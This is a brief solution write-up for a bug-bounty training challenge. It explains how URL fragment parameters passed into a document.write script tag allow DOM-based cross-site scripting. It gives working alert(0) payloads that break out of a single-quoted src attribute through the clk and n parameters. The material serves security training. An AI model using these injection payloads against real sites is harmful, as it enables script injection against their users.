BugBountyHunter

If you browse the source code to the page via view-source: then you will see some interesting javascript, and at first, most may think, "what's this do?!".

When hunting don't make life harder for yourself! Look for common keywords and patterns, which in this case you can see:

var cfpPid= cfpAlphaParam("pid",0);
var cfpPrBase="https://www.bugbountyhunter.com/";
var cfpClick = cfpParam("clk");
var cfpOrd = cfpParam("n");

So we know that cfpPid, cfpClick, cfpPrBase and cfpOrd are set as javascript variables, and some call a function cfpParam(). The fact that you have not only variables (defined via var), but also the keyword param should signal to you that's something happens here.

Since the code is javascript we have to interact with #. If you use https://www.bugbountytraining.com/challenges/challenge-8.php#clk="></script><script>alert(0)</script> and inspect element then you will see your payload hasn't worked.

Look more closely at the javascript.

document.write("<script src='"+pr_s+"'><\/script>");

It is writing it to the document with the src wrapped in ' - So the final payload:

http://www.bugbountytraining.com/challenges/challenge-8.php#clk='></script><script>alert(0)</script>

There is also the parameter n which is handled exactly the same:

http://www.bugbountytraining.com/challenges/challenge-8.php#n='></script><script>alert(0)</script>